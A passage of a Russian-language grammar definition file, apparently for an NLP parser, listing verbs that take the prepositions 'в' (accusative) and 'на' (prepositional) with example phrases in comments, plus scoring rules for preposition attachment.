rus_verbs:шептать{}, // шептать в лицо
rus_verbs:уронить{}, // уронить в унитаз
rus_verbs:прорычать{}, // прорычать в микрофон
rus_verbs:засунуть{}, // засунуть в глотку
rus_verbs:плыть{}, // плыть в открытое море
rus_verbs:перенести{}, // перенести в духовку
rus_verbs:светить{}, // светить в лицо
rus_verbs:мчаться{}, // мчаться в ремонт
rus_verbs:стукнуть{}, // стукнуть в лоб
rus_verbs:обрушиться{}, // обрушиться в котлован
rus_verbs:поглядывать{}, // поглядывать в экран
rus_verbs:уложить{}, // уложить в кроватку
инфинитив:попадать{ вид:несоверш }, // попадать в черный список
глагол:попадать{ вид:несоверш },
прилагательное:попадающий{ вид:несоверш },
прилагательное:попадавший{ вид:несоверш },
деепричастие:попадая{},
rus_verbs:провалиться{}, // провалиться в яму
rus_verbs:жаловаться{}, // жаловаться в комиссию
rus_verbs:опоздать{}, // опоздать в школу
rus_verbs:посылать{}, // посылать в парикмахерскую
rus_verbs:погнать{}, // погнать в хлев
rus_verbs:поступать{}, // поступать в институт
rus_verbs:усадить{}, // усадить в кресло
rus_verbs:проиграть{}, // проиграть в рулетку
rus_verbs:прилететь{}, // прилететь в страну
rus_verbs:повалиться{}, // повалиться в траву
rus_verbs:огрызнуться{}, // Собака огрызнулась в ответ
rus_verbs:лезть{}, // лезть в чужие дела
rus_verbs:потащить{}, // потащить в суд
rus_verbs:направляться{}, // направляться в порт
rus_verbs:поползти{}, // поползти в другую сторону
rus_verbs:пуститься{}, // пуститься в пляс
rus_verbs:забиться{}, // забиться в нору
rus_verbs:залезть{}, // залезть в конуру
rus_verbs:сдать{}, // сдать в утиль
rus_verbs:тронуться{}, // тронуться в путь
rus_verbs:сыграть{}, // сыграть в шахматы
rus_verbs:перевернуть{}, // перевернуть в более удобную позу
rus_verbs:сжимать{}, // сжимать пальцы в кулак
rus_verbs:подтолкнуть{}, // подтолкнуть в бок
rus_verbs:отнести{}, // отнести животное в лечебницу
rus_verbs:одеться{}, // одеться в зимнюю одежду
rus_verbs:плюнуть{}, // плюнуть в колодец
rus_verbs:передавать{}, // передавать в прокуратуру
rus_verbs:отскочить{}, // отскочить в лоб
rus_verbs:призвать{}, // призвать в армию
rus_verbs:увезти{}, // увезти в деревню
rus_verbs:улечься{}, // улечься в кроватку
rus_verbs:отшатнуться{}, // отшатнуться в сторону
rus_verbs:ложиться{}, // ложиться в постель
rus_verbs:пролететь{}, // пролететь в конец
rus_verbs:класть{}, // класть в сейф
rus_verbs:доставлять{}, // доставлять в кабинет
rus_verbs:приобретать{}, // приобретать в кредит
rus_verbs:сводить{}, // сводить в театр
rus_verbs:унести{}, // унести в могилу
rus_verbs:покатиться{}, // покатиться в яму
rus_verbs:сходить{}, // сходить в магазинчик
rus_verbs:спустить{}, // спустить в канализацию
rus_verbs:проникать{}, // проникать в сердцевину
rus_verbs:метнуть{}, // метнуть в болвана гневный взгляд
rus_verbs:пожаловаться{}, // пожаловаться в администрацию
rus_verbs:стучать{}, // стучать в металлическую дверь
rus_verbs:тащить{}, // тащить в ремонт
rus_verbs:заглядывать{}, // заглядывать в ответы
rus_verbs:плюхнуться{}, // плюхнуться в стол ароматного сена
rus_verbs:увести{}, // увести в следующий кабинет
rus_verbs:успевать{}, // успевать в школу
rus_verbs:пробраться{}, // пробраться в собачью конуру
rus_verbs:подавать{}, // подавать в суд
rus_verbs:прибежать{}, // прибежать в конюшню
rus_verbs:рассмотреть{}, // рассмотреть в микроскоп
rus_verbs:пнуть{}, // пнуть в живот
rus_verbs:завернуть{}, // завернуть в декоративную пленку
rus_verbs:уезжать{}, // уезжать в деревню
rus_verbs:привлекать{}, // привлекать в свои ряды
rus_verbs:перебраться{}, // перебраться в прибрежный город
rus_verbs:долить{}, // долить в коктейль
rus_verbs:палить{}, // палить в нападающих
rus_verbs:отобрать{}, // отобрать в коллекцию
rus_verbs:улететь{}, // улететь в неизвестность
rus_verbs:выглянуть{}, // выглянуть в окно
rus_verbs:выглядывать{}, // выглядывать в окно
rus_verbs:пробираться{}, // грабитель, пробирающийся в дом
инфинитив:написать{ aux stress="напис^ать"}, // читатель, написавший в блог
глагол:написать{ aux stress="напис^ать"},
прилагательное:написавший{ aux stress="напис^авший"},
rus_verbs:свернуть{}, // свернуть в колечко
инфинитив:сползать{ вид:несоверш }, // сползать в овраг
глагол:сползать{ вид:несоверш },
прилагательное:сползающий{ вид:несоверш },
прилагательное:сползавший{ вид:несоверш },
rus_verbs:барабанить{}, // барабанить в дверь
rus_verbs:дописывать{}, // дописывать в конец
rus_verbs:меняться{}, // меняться в лучшую сторону
rus_verbs:измениться{}, // измениться в лучшую сторону
rus_verbs:изменяться{}, // изменяться в лучшую сторону
rus_verbs:вписаться{}, // вписаться в поворот
rus_verbs:вписываться{}, // вписываться в повороты
rus_verbs:переработать{}, // переработать в удобрение
rus_verbs:перерабатывать{}, // перерабатывать в удобрение
rus_verbs:уползать{}, // уползать в тень
rus_verbs:заползать{}, // заползать в нору
rus_verbs:перепрятать{}, // перепрятать в укромное место
rus_verbs:заталкивать{}, // заталкивать в вагон
rus_verbs:преобразовывать{}, // преобразовывать в список
инфинитив:конвертировать{ вид:несоверш }, // конвертировать в список
глагол:конвертировать{ вид:несоверш },
инфинитив:конвертировать{ вид:соверш },
глагол:конвертировать{ вид:соверш },
деепричастие:конвертировав{},
деепричастие:конвертируя{},
rus_verbs:изорвать{}, // Он изорвал газету в клочки.
rus_verbs:выходить{}, // Окна выходят в сад.
rus_verbs:говорить{}, // Он говорил в защиту своего отца.
rus_verbs:вырастать{}, // Он вырастает в большого художника.
rus_verbs:вывести{}, // Он вывел детей в сад.
// инфинитив:всыпать{ вид:соверш }, инфинитив:всыпать{ вид:несоверш },
// глагол:всыпать{ вид:соверш }, глагол:всыпать{ вид:несоверш }, // Он всыпал в воду две ложки соли.
// прилагательное:раненый{}, // Он был ранен в левую руку.
// прилагательное:одетый{}, // Он был одет в толстое осеннее пальто.
rus_verbs:бухнуться{}, // Он бухнулся в воду.
rus_verbs:склонять{}, // склонять защиту в свою пользу
rus_verbs:впиться{}, // Пиявка впилась в тело.
rus_verbs:сходиться{}, // Интеллигенты начала века часто сходились в разные союзы
rus_verbs:сохранять{}, // сохранить данные в файл
rus_verbs:собирать{}, // собирать игрушки в ящик
rus_verbs:упаковывать{}, // упаковывать вещи в чемодан
rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время
rus_verbs:стрельнуть{}, // стрельни в толпу!
rus_verbs:пулять{}, // пуляй в толпу
rus_verbs:пульнуть{}, // пульни в толпу
rus_verbs:становиться{}, // Становитесь в очередь.
rus_verbs:вписать{}, // Юля вписала свое имя в список.
rus_verbs:вписывать{}, // Мы вписывали свои имена в список
прилагательное:видный{}, // Планета Марс видна в обычный бинокль
rus_verbs:пойти{}, // Девочка рано пошла в школу
rus_verbs:отойти{}, // Эти обычаи отошли в историю.
rus_verbs:бить{}, // Холодный ветер бил ему в лицо.
rus_verbs:входить{}, // Это входит в его обязанности.
rus_verbs:принять{}, // меня приняли в пионеры
rus_verbs:уйти{}, // Правительство РФ ушло в отставку
rus_verbs:допустить{}, // Япония была допущена в Организацию Объединённых Наций в 1956 году.
rus_verbs:посвятить{}, // Я посвятил друга в свою тайну.
инфинитив:экспортировать{ вид:несоверш }, глагол:экспортировать{ вид:несоверш }, // экспортировать нефть в страны Востока
rus_verbs:взглянуть{}, // Я не смел взглянуть ему в глаза.
rus_verbs:идти{}, // Я иду гулять в парк.
rus_verbs:вскочить{}, // Я вскочил в трамвай и помчался в институт.
rus_verbs:получить{}, // Эту мебель мы получили в наследство от родителей.
rus_verbs:везти{}, // Учитель везёт детей в лагерь.
rus_verbs:качать{}, // Судно качает во все стороны.
rus_verbs:заезжать{}, // Сегодня вечером я заезжал в магазин за книгами.
rus_verbs:связать{}, // Свяжите свои вещи в узелок.
rus_verbs:пронести{}, // Пронесите стол в дверь.
rus_verbs:вынести{}, // Надо вынести примечания в конец.
rus_verbs:устроить{}, // Она устроила сына в школу.
rus_verbs:угодить{}, // Она угодила головой в дверь.
rus_verbs:отвернуться{}, // Она резко отвернулась в сторону.
rus_verbs:рассматривать{}, // Она рассматривала сцену в бинокль.
rus_verbs:обратить{}, // Война обратила город в развалины.
rus_verbs:сойтись{}, // Мы сошлись в школьные годы.
rus_verbs:приехать{}, // Мы приехали в положенный час.
rus_verbs:встать{}, // Дети встали в круг.
rus_verbs:впасть{}, // Из-за болезни он впал в нужду.
rus_verbs:придти{}, // придти в упадок
rus_verbs:заявить{}, // Надо заявить в милицию о краже.
rus_verbs:заявлять{}, // заявлять в полицию
rus_verbs:ехать{}, // Мы будем ехать в Орёл
rus_verbs:окрашиваться{}, // окрашиваться в красный цвет
rus_verbs:решить{}, // Дело решено в пользу истца.
rus_verbs:сесть{}, // Она села в кресло
rus_verbs:посмотреть{}, // Она посмотрела на себя в зеркало.
rus_verbs:влезать{}, // он влезает в мою квартирку
rus_verbs:попасться{}, // в мою ловушку попалась мышь
rus_verbs:лететь{}, // Мы летим в Орёл
ГЛ_ИНФ(брать), // он берет в свою правую руку очень тяжелый шершавый камень
ГЛ_ИНФ(взять), // Коля взял в руку камень
ГЛ_ИНФ(поехать), // поехать в круиз
ГЛ_ИНФ(подать), // подать в отставку
инфинитив:засыпать{ вид:соверш }, глагол:засыпать{ вид:соверш }, // засыпать песок в ящик
инфинитив:засыпать{ вид:несоверш переходность:переходный }, глагол:засыпать{ вид:несоверш переходность:переходный }, // засыпать песок в ящик
ГЛ_ИНФ(впадать), прилагательное:впадающий{}, прилагательное:впадавший{}, деепричастие:впадая{}, // впадать в море
ГЛ_ИНФ(постучать) // постучать в дверь
}
// Чтобы разрешить связывание в паттернах типа: уйти в BEA Systems
fact гл_предл
{
if context { Гл_В_Вин предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_В_Вин предлог:в{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { глагол:подвывать{} предлог:в{} существительное:такт{ падеж:вин } }
then return true
}
#endregion Винительный
// Все остальные варианты по умолчанию запрещаем.
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:мест } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:вин } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:в{} * }
then return false,-5
}
#endregion Предлог_В
#region Предлог_НА
// ------------------- С ПРЕДЛОГОМ 'НА' ---------------------------
#region ПРЕДЛОЖНЫЙ
// НА+предложный падеж:
// ЛЕЖАТЬ НА СТОЛЕ
#region VerbList
wordentry_set Гл_НА_Предл=
{
rus_verbs:заслушать{}, // Вопрос заслушали на сессии облсовета
rus_verbs:ПРОСТУПАТЬ{}, // На лбу, носу и щеке проступало черное пятно кровоподтека. (ПРОСТУПАТЬ/ПРОСТУПИТЬ)
rus_verbs:ПРОСТУПИТЬ{}, //
rus_verbs:ВИДНЕТЬСЯ{}, // На другой стороне Океана виднелась полоска суши, окружавшая нижний ярус планеты. (ВИДНЕТЬСЯ)
rus_verbs:ЗАВИСАТЬ{}, // Машина умела зависать в воздухе на любой высоте (ЗАВИСАТЬ)
rus_verbs:ЗАМЕРЕТЬ{}, // Скользнув по траве, он замер на боку (ЗАМЕРЕТЬ, локатив)
rus_verbs:ЗАМИРАТЬ{}, //
rus_verbs:ЗАКРЕПИТЬ{}, // Он вручил ей лишний кинжал, который она воткнула в рубаху и закрепила на подоле. (ЗАКРЕПИТЬ)
rus_verbs:УПОЛЗТИ{}, // Зверь завизжал и попытался уползти на двух невредимых передних ногах. (УПОЛЗТИ/УПОЛЗАТЬ)
rus_verbs:УПОЛЗАТЬ{}, //
rus_verbs:БОЛТАТЬСЯ{}, // Тело его будет болтаться на пространственных ветрах, пока не сгниет веревка. (БОЛТАТЬСЯ)
rus_verbs:РАЗВЕРНУТЬ{}, // Филиппины разрешат США развернуть военные базы на своей территории (РАЗВЕРНУТЬ)
rus_verbs:ПОЛУЧИТЬ{}, // Я пытался узнать секреты и получить советы на официальном русскоязычном форуме (ПОЛУЧИТЬ)
rus_verbs:ЗАСИЯТЬ{}, // Он активировал управление, и на экране снова засияло изображение полумесяца. (ЗАСИЯТЬ)
rus_verbs:ВЗОРВАТЬСЯ{}, // Смертник взорвался на предвыборном митинге в Пакистане (ВЗОРВАТЬСЯ)
rus_verbs:искриться{},
rus_verbs:ОДЕРЖИВАТЬ{}, // На выборах в иранский парламент победу одерживают противники действующего президента (ОДЕРЖИВАТЬ)
rus_verbs:ПРЕСЕЧЬ{}, // На Украине пресекли дерзкий побег заключенных на вертолете (ПРЕСЕЧЬ)
rus_verbs:УЛЕТЕТЬ{}, // Голый норвежец улетел на лыжах с трамплина на 60 метров (УЛЕТЕТЬ)
rus_verbs:ПРОХОДИТЬ{}, // укрывающийся в лесу американский подросток проходил инициацию на охоте, выпив кружку крови первого убитого им оленя (ПРОХОДИТЬ)
rus_verbs:СУЩЕСТВОВАТЬ{}, // На Марсе существовали условия для жизни (СУЩЕСТВОВАТЬ)
rus_verbs:УКАЗАТЬ{}, // Победу в Лиге чемпионов укажут на часах (УКАЗАТЬ)
rus_verbs:отвести{}, // отвести душу на людях
rus_verbs:сходиться{}, // Оба профессора сходились на том, что в черепной коробке динозавра
rus_verbs:сойтись{},
rus_verbs:ОБНАРУЖИТЬ{}, // Доказательство наличия подповерхностного океана на Европе обнаружено на её поверхности (ОБНАРУЖИТЬ)
rus_verbs:НАБЛЮДАТЬСЯ{}, // Редкий зодиакальный свет вскоре будет наблюдаться на ночном небе (НАБЛЮДАТЬСЯ)
rus_verbs:ДОСТИГНУТЬ{}, // На всех аварийных реакторах достигнуто состояние так называемой холодной остановки (ДОСТИГНУТЬ/ДОСТИЧЬ)
глагол:ДОСТИЧЬ{},
инфинитив:ДОСТИЧЬ{},
rus_verbs:завершить{}, // Российские биатлонисты завершили чемпионат мира на мажорной ноте
rus_verbs:РАСКЛАДЫВАТЬ{},
rus_verbs:ФОКУСИРОВАТЬСЯ{}, // Инвесторы предпочитают фокусироваться на среднесрочных ожиданиях (ФОКУСИРОВАТЬСЯ)
rus_verbs:ВОСПРИНИМАТЬ{}, // как несерьезно воспринимали его на выборах мэра (ВОСПРИНИМАТЬ)
rus_verbs:БУШЕВАТЬ{}, // на территории Тверской области бушевала гроза , в результате которой произошло отключение электроснабжения в ряде муниципальных образований региона (БУШЕВАТЬ)
rus_verbs:УЧАСТИТЬСЯ{}, // В последние месяцы в зоне ответственности бундесвера на севере Афганистана участились случаи обстрелов полевых лагерей немецких миротворцев (УЧАСТИТЬСЯ)
rus_verbs:ВЫИГРАТЬ{}, // Почему женская сборная России не может выиграть медаль на чемпионате мира (ВЫИГРАТЬ)
rus_verbs:ПРОПАСТЬ{}, // Пропавшим на прогулке актером заинтересовались следователи (ПРОПАСТЬ)
rus_verbs:УБИТЬ{}, // Силовики убили двух боевиков на административной границе Ингушетии и Чечни (УБИТЬ)
rus_verbs:подпрыгнуть{}, // кобель нелепо подпрыгнул на трех ногах , а его хозяин отправил струю пива мимо рта
rus_verbs:подпрыгивать{},
rus_verbs:высветиться{}, // на компьютере высветится твоя подпись
rus_verbs:фигурировать{}, // его портрет фигурирует на страницах печати и телеэкранах
rus_verbs:действовать{}, // выявленный контрабандный канал действовал на постоянной основе
rus_verbs:СОХРАНИТЬСЯ{}, // На рынке международных сделок IPO сохранится высокая активность (СОХРАНИТЬСЯ НА)
rus_verbs:ПРОЙТИ{}, // Необычный конкурс прошёл на севере Швеции (ПРОЙТИ НА предл)
rus_verbs:НАЧАТЬСЯ{}, // На северо-востоке США началась сильная снежная буря. (НАЧАТЬСЯ НА предл)
rus_verbs:ВОЗНИКНУТЬ{}, // Конфликт возник на почве совместной коммерческой деятельности по выращиванию овощей и зелени (ВОЗНИКНУТЬ НА)
rus_verbs:СВЕТИТЬСЯ{}, // она по-прежнему светится на лицах людей (СВЕТИТЬСЯ НА предл)
rus_verbs:ОРГАНИЗОВАТЬ{}, // Власти Москвы намерены организовать масленичные гуляния на 100 площадках (ОРГАНИЗОВАТЬ НА предл)
rus_verbs:ИМЕТЬ{}, // Имея власть на низовом уровне, оказывать самое непосредственное и определяющее влияние на верховную власть (ИМЕТЬ НА предл)
rus_verbs:ОПРОБОВАТЬ{}, // Опробовать и отточить этот инструмент на местных и региональных выборах (ОПРОБОВАТЬ, ОТТОЧИТЬ НА предл)
rus_verbs:ОТТОЧИТЬ{},
rus_verbs:ДОЛОЖИТЬ{}, // Участникам совещания предложено подготовить по этому вопросу свои предложения и доложить на повторной встрече (ДОЛОЖИТЬ НА предл)
rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Солевые и пылевые бури , образующиеся на поверхности обнаженной площади моря , уничтожают урожаи и растительность (ОБРАЗОВЫВАТЬСЯ НА)
rus_verbs:СОБРАТЬ{}, // использует собранные на местном рынке депозиты (СОБРАТЬ НА предл)
инфинитив:НАХОДИТЬСЯ{ вид:несоверш}, // находившихся на борту самолета (НАХОДИТЬСЯ НА предл)
глагол:НАХОДИТЬСЯ{ вид:несоверш },
прилагательное:находившийся{ вид:несоверш },
прилагательное:находящийся{ вид:несоверш },
деепричастие:находясь{},
rus_verbs:ГОТОВИТЬ{}, // пищу готовят сами на примусах (ГОТОВИТЬ НА предл)
rus_verbs:РАЗДАТЬСЯ{}, // Они сообщили о сильном хлопке , который раздался на территории нефтебазы (РАЗДАТЬСЯ НА)
rus_verbs:ПОДСКАЛЬЗЫВАТЬСЯ{}, // подскальзываться на той же апельсиновой корке (ПОДСКАЛЬЗЫВАТЬСЯ НА)
rus_verbs:СКРЫТЬСЯ{}, // Германия: латвиец ограбил магазин и попытался скрыться на такси (СКРЫТЬСЯ НА предл)
rus_verbs:ВЫРАСТИТЬ{}, // Пациенту вырастили новый нос на руке (ВЫРАСТИТЬ НА)
rus_verbs:ПРОДЕМОНСТРИРОВАТЬ{}, // Они хотят подчеркнуть эмоциональную тонкость оппозиционера и на этом фоне продемонстрировать бездушность российской власти (ПРОДЕМОНСТРИРОВАТЬ НА предл)
rus_verbs:ОСУЩЕСТВЛЯТЬСЯ{}, // первичный анализ смеси запахов может осуществляться уже на уровне рецепторных нейронов благодаря механизму латерального торможения (ОСУЩЕСТВЛЯТЬСЯ НА)
rus_verbs:ВЫДЕЛЯТЬСЯ{}, // Ягоды брусники, резко выделяющиеся своим красным цветом на фоне зелёной листвы, поедаются животными и птицами (ВЫДЕЛЯТЬСЯ НА)
rus_verbs:РАСКРЫТЬ{}, // На Украине раскрыто крупное мошенничество в сфере туризма (РАСКРЫТЬ НА)
rus_verbs:ОБЖАРИВАТЬСЯ{}, // Омлет обжаривается на сливочном масле с одной стороны, пока он почти полностью не загустеет (ОБЖАРИВАТЬСЯ НА)
rus_verbs:ПРИГОТОВЛЯТЬ{}, // Яичница — блюдо европейской кухни, приготовляемое на сковороде из разбитых яиц (ПРИГОТОВЛЯТЬ НА)
rus_verbs:РАССАДИТЬ{}, // Женька рассадил игрушки на скамеечке (РАССАДИТЬ НА)
rus_verbs:ОБОЖДАТЬ{}, // обожди Анжелу на остановке троллейбуса (ОБОЖДАТЬ НА)
rus_verbs:УЧИТЬСЯ{}, // Марина учится на факультете журналистики (УЧИТЬСЯ НА предл)
rus_verbs:раскладываться{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА)
rus_verbs:ПОСЛУШАТЬ{}, // Послушайте друзей и врагов на расстоянии! (ПОСЛУШАТЬ НА)
rus_verbs:ВЕСТИСЬ{}, // На стороне противника всю ночь велась перегруппировка сил. (ВЕСТИСЬ НА)
rus_verbs:ПОИНТЕРЕСОВАТЬСЯ{}, // корреспондент поинтересовался у людей на улице (ПОИНТЕРЕСОВАТЬСЯ НА)
rus_verbs:ОТКРЫВАТЬСЯ{}, // Российские биржи открываются на негативном фоне (ОТКРЫВАТЬСЯ НА)
rus_verbs:СХОДИТЬ{}, // Вы сходите на следующей остановке? (СХОДИТЬ НА)
rus_verbs:ПОГИБНУТЬ{}, // Её отец погиб на войне. (ПОГИБНУТЬ НА)
rus_verbs:ВЫЙТИ{}, // Книга выйдет на будущей неделе. (ВЫЙТИ НА предл)
rus_verbs:НЕСТИСЬ{}, // Корабль несётся на всех парусах. (НЕСТИСЬ НА предл)
rus_verbs:вкалывать{}, // Папа вкалывает на работе, чтобы прокормить семью (вкалывать на)
rus_verbs:доказать{}, // разработчики доказали на практике применимость данного подхода к обсчету сцен (доказать на, применимость к)
rus_verbs:хулиганить{}, // дозволять кому-то хулиганить на кладбище (хулиганить на)
глагол:вычитать{вид:соверш}, инфинитив:вычитать{вид:соверш}, // вычитать на сайте (вычитать на сайте)
деепричастие:вычитав{},
rus_verbs:аккомпанировать{}, // он аккомпанировал певцу на губной гармошке (аккомпанировать на)
rus_verbs:набрать{}, // статья с заголовком, набранным на компьютере
rus_verbs:сделать{}, // книга с иллюстрацией, сделанной на компьютере
rus_verbs:развалиться{}, // Антонио развалился на диване
rus_verbs:улечься{}, // Антонио улегся на полу
rus_verbs:зарубить{}, // Заруби себе на носу.
rus_verbs:ценить{}, // Его ценят на заводе.
rus_verbs:вернуться{}, // Отец вернулся на закате.
rus_verbs:шить{}, // Вы умеете шить на машинке?
rus_verbs:бить{}, // Скот бьют на бойне.
rus_verbs:выехать{}, // Мы выехали на рассвете.
rus_verbs:валяться{}, // На полу валяется бумага.
rus_verbs:разложить{}, // она разложила полотенце на песке
rus_verbs:заниматься{}, // я занимаюсь на тренажере
rus_verbs:позаниматься{},
rus_verbs:порхать{}, // порхать на лугу
rus_verbs:пресекать{}, // пресекать на корню
rus_verbs:изъясняться{}, // изъясняться на непонятном языке
rus_verbs:развесить{}, // развесить на столбах
rus_verbs:обрасти{}, // обрасти на южной части
rus_verbs:откладываться{}, // откладываться на стенках артерий
rus_verbs:уносить{}, // уносить на носилках
rus_verbs:проплыть{}, // проплыть на плоту
rus_verbs:подъезжать{}, // подъезжать на повозках
rus_verbs:пульсировать{}, // пульсировать на лбу
rus_verbs:рассесться{}, // птицы расселись на ветках
rus_verbs:застопориться{}, // застопориться на первом пункте
rus_verbs:изловить{}, // изловить на окраинах
rus_verbs:покататься{}, // покататься на машинках
rus_verbs:залопотать{}, // залопотать на неизвестном языке
rus_verbs:растягивать{}, // растягивать на станке
rus_verbs:поделывать{}, // поделывать на пляже
rus_verbs:подстеречь{}, // подстеречь на площадке
rus_verbs:проектировать{}, // проектировать на компьютере
rus_verbs:притулиться{}, // притулиться на кушетке
rus_verbs:дозволять{}, // дозволять кому-то хулиганить на кладбище
rus_verbs:пострелять{}, // пострелять на испытательном полигоне
rus_verbs:засиживаться{}, // засиживаться на работе
rus_verbs:нежиться{}, // нежиться на солнышке
rus_verbs:притомиться{}, // притомиться на рабочем месте
rus_verbs:поселяться{}, // поселяться на чердаке
rus_verbs:потягиваться{}, // потягиваться на земле
rus_verbs:отлеживаться{}, // отлеживаться на койке
rus_verbs:протаранить{}, // протаранить на танке
rus_verbs:гарцевать{}, // гарцевать на коне
rus_verbs:облупиться{}, // облупиться на носу
rus_verbs:оговорить{}, // оговорить на собеседовании
rus_verbs:зарегистрироваться{}, // зарегистрироваться на сайте
rus_verbs:отпечатать{}, // отпечатать на картоне
rus_verbs:сэкономить{}, // сэкономить на мелочах
rus_verbs:покатать{}, // покатать на пони
rus_verbs:колесить{}, // колесить на старой машине
rus_verbs:понастроить{}, // понастроить на участках
rus_verbs:поджарить{}, // поджарить на костре
rus_verbs:узнаваться{}, // узнаваться на фотографии
rus_verbs:отощать{}, // отощать на казенных харчах
rus_verbs:редеть{}, // редеть на макушке
rus_verbs:оглашать{}, // оглашать на общем собрании
rus_verbs:лопотать{}, // лопотать на иврите
rus_verbs:пригреть{}, // пригреть на груди
rus_verbs:консультироваться{}, // консультироваться на форуме
rus_verbs:приноситься{}, // приноситься на одежде
rus_verbs:сушиться{}, // сушиться на балконе
rus_verbs:наследить{}, // наследить на полу
rus_verbs:нагреться{}, // нагреться на солнце
rus_verbs:рыбачить{}, // рыбачить на озере
rus_verbs:прокатить{}, // прокатить на выборах
rus_verbs:запинаться{}, // запинаться на ровном месте
rus_verbs:отрубиться{}, // отрубиться на мягкой подушке
rus_verbs:заморозить{}, // заморозить на улице
rus_verbs:промерзнуть{}, // промерзнуть на открытом воздухе
rus_verbs:просохнуть{}, // просохнуть на батарее
rus_verbs:развозить{}, // развозить на велосипеде
rus_verbs:прикорнуть{}, // прикорнуть на диванчике
rus_verbs:отпечататься{}, // отпечататься на коже
rus_verbs:выявлять{}, // выявлять на таможне
rus_verbs:расставлять{}, // расставлять на башнях
rus_verbs:прокрутить{}, // прокрутить на пальце
rus_verbs:умываться{}, // умываться на улице
rus_verbs:пересказывать{}, // пересказывать на страницах романа
rus_verbs:удалять{}, // удалять на пуховике
rus_verbs:хозяйничать{}, // хозяйничать на складе
rus_verbs:оперировать{}, // оперировать на поле боя
rus_verbs:поносить{}, // поносить на голове
rus_verbs:замурлыкать{}, // замурлыкать на коленях
rus_verbs:передвигать{}, // передвигать на тележке
rus_verbs:прочертить{}, // прочертить на земле
rus_verbs:колдовать{}, // колдовать на кухне
rus_verbs:отвозить{}, // отвозить на казенном транспорте
rus_verbs:трахать{}, // трахать на природе
rus_verbs:мастерить{}, // мастерить на кухне
rus_verbs:ремонтировать{}, // ремонтировать на коленке
rus_verbs:развезти{}, // развезти на велосипеде
rus_verbs:робеть{}, // робеть на сцене
инфинитив:реализовать{ вид:несоверш }, инфинитив:реализовать{ вид:соверш }, // реализовать на сайте
глагол:реализовать{ вид:несоверш }, глагол:реализовать{ вид:соверш },
деепричастие:реализовав{}, деепричастие:реализуя{},
rus_verbs:покаяться{}, // покаяться на смертном одре
rus_verbs:специализироваться{}, // специализироваться на тестировании
rus_verbs:попрыгать{}, // попрыгать на батуте
rus_verbs:переписывать{}, // переписывать на столе
rus_verbs:расписывать{}, // расписывать на доске
rus_verbs:зажимать{}, // зажимать на запястье
rus_verbs:практиковаться{}, // практиковаться на мышах
rus_verbs:уединиться{}, // уединиться на чердаке
rus_verbs:подохнуть{}, // подохнуть на чужбине
rus_verbs:приподниматься{}, // приподниматься на руках
rus_verbs:уродиться{}, // уродиться на полях
rus_verbs:продолжиться{}, // продолжиться на улице
rus_verbs:посапывать{}, // посапывать на диване
rus_verbs:ободрать{}, // ободрать на спине
rus_verbs:скрючиться{}, // скрючиться на песке
rus_verbs:тормознуть{}, // тормознуть на перекрестке
rus_verbs:лютовать{}, // лютовать на хуторе
rus_verbs:зарегистрировать{}, // зарегистрировать на сайте
rus_verbs:переждать{}, // переждать на вершине холма
rus_verbs:доминировать{}, // доминировать на территории
rus_verbs:публиковать{}, // публиковать на сайте
rus_verbs:морщить{}, // морщить на лбу
rus_verbs:сконцентрироваться{}, // сконцентрироваться на главном
rus_verbs:подрабатывать{}, // подрабатывать на рынке
rus_verbs:репетировать{}, // репетировать на заднем дворе
rus_verbs:подвернуть{}, // подвернуть на брусчатке
rus_verbs:зашелестеть{}, // зашелестеть на ветру
rus_verbs:расчесывать{}, // расчесывать на спине
rus_verbs:одевать{}, // одевать на рынке
rus_verbs:испечь{}, // испечь на углях
rus_verbs:сбрить{}, // сбрить на затылке
rus_verbs:согреться{}, // согреться на печке
rus_verbs:замаячить{}, // замаячить на горизонте
rus_verbs:пересчитывать{}, // пересчитывать на пальцах
rus_verbs:галдеть{}, // галдеть на крыльце
rus_verbs:переплыть{}, // переплыть на плоту
rus_verbs:передохнуть{}, // передохнуть на скамейке
rus_verbs:прижиться{}, // прижиться на ферме
rus_verbs:переправляться{}, // переправляться на плотах
rus_verbs:накупить{}, // накупить на блошином рынке
rus_verbs:проторчать{}, // проторчать на виду
rus_verbs:мокнуть{}, // мокнуть на улице
rus_verbs:застукать{}, // застукать на камбузе
rus_verbs:завязывать{}, // завязывать на ботинках
rus_verbs:повисать{}, // повисать на ветке
rus_verbs:подвизаться{}, // подвизаться на государственной службе
rus_verbs:кормиться{}, // кормиться на болоте
rus_verbs:покурить{}, // покурить на улице
rus_verbs:зимовать{}, // зимовать на болотах
rus_verbs:застегивать{}, // застегивать на гимнастерке
rus_verbs:поигрывать{}, // поигрывать на гитаре
rus_verbs:погореть{}, // погореть на махинациях с землей
rus_verbs:кувыркаться{}, // кувыркаться на батуте
rus_verbs:похрапывать{}, // похрапывать на диване
rus_verbs:пригревать{}, // пригревать на груди
rus_verbs:завязнуть{}, // завязнуть на болоте
rus_verbs:шастать{}, // шастать на втором этаже
rus_verbs:заночевать{}, // заночевать на сеновале
rus_verbs:отсиживаться{}, // отсиживаться на чердаке
rus_verbs:мчать{}, // мчать на байке
rus_verbs:сгнить{}, // сгнить на урановых рудниках
rus_verbs:тренировать{}, // тренировать на манекенах
rus_verbs:повеселиться{}, // повеселиться на празднике
rus_verbs:измучиться{}, // измучиться на болоте
rus_verbs:увянуть{}, // увянуть на подоконнике
rus_verbs:раскрутить{}, // раскрутить на оси
rus_verbs:выцвести{}, // выцвести на солнечном свету
rus_verbs:изготовлять{}, // изготовлять на коленке
rus_verbs:гнездиться{}, // гнездиться на вершине дерева
rus_verbs:разогнаться{}, // разогнаться на мотоцикле
rus_verbs:излагаться{}, // излагаться на страницах доклада
rus_verbs:сконцентрировать{}, // сконцентрировать на левом фланге
rus_verbs:расчесать{}, // расчесать на макушке
rus_verbs:плавиться{}, // плавиться на солнце
rus_verbs:редактировать{}, // редактировать на ноутбуке
rus_verbs:подскакивать{}, // подскакивать на месте
rus_verbs:покупаться{}, // покупаться на рынке
rus_verbs:промышлять{}, // промышлять на мелководье
